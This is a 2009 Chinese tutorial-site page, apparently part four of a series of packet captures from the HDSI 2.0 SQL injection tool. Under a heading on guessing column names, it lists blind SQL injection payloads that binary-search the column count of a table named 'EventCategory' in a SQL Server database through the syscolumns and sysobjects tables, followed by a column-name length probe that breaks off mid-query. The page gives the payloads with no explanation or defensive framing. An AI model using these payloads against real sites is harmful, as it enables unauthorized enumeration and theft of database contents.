当前位置: 首页 > 图文教程 > 服务器 > 安全防护 > hdsi2.0 sql注入部分抓包(4)

安全防护
Redhat Linux 8.0工作站服务加载列表解释
备份主域服务器的用户和组
IIS配置文件后门
ASP漏洞全接触-高级篇
IIS的十七个常见漏洞
服务器安全设置(一)
服务器安全设置(二)
服务器安全设置(三)
服务器安全设置(四)
服务器安全设置(五)
服务器安全设置(六)
服务器安全设置(七)
服务器安全设置(八)
服务器安全设置(九)
服务器安全设置(十)
服务器安全设置(十一)
服务器安全设置(十二)
服务器安全设置(十三)
服务器安全设置(十四)
服务器安全设置(十五)

安全防护 中的 hdsi2.0 sql注入部分抓包(4)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-29   浏览: 69 ::
收藏到网摘: n/a

猜解列名:

GET

and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name='EventCategory')<32
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name='EventCategory')<48
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name='EventCategory')<56
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name='EventCategory')<60
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name='EventCategory')<62
and (select top 1 len(name) from ( select top 1 A.id,A.name from EVENT..syscolumns A,EVENT..sysobjects B where
A.id=B.id and

B.name='EventCategory' order by A.name desc) T order by name asc )<35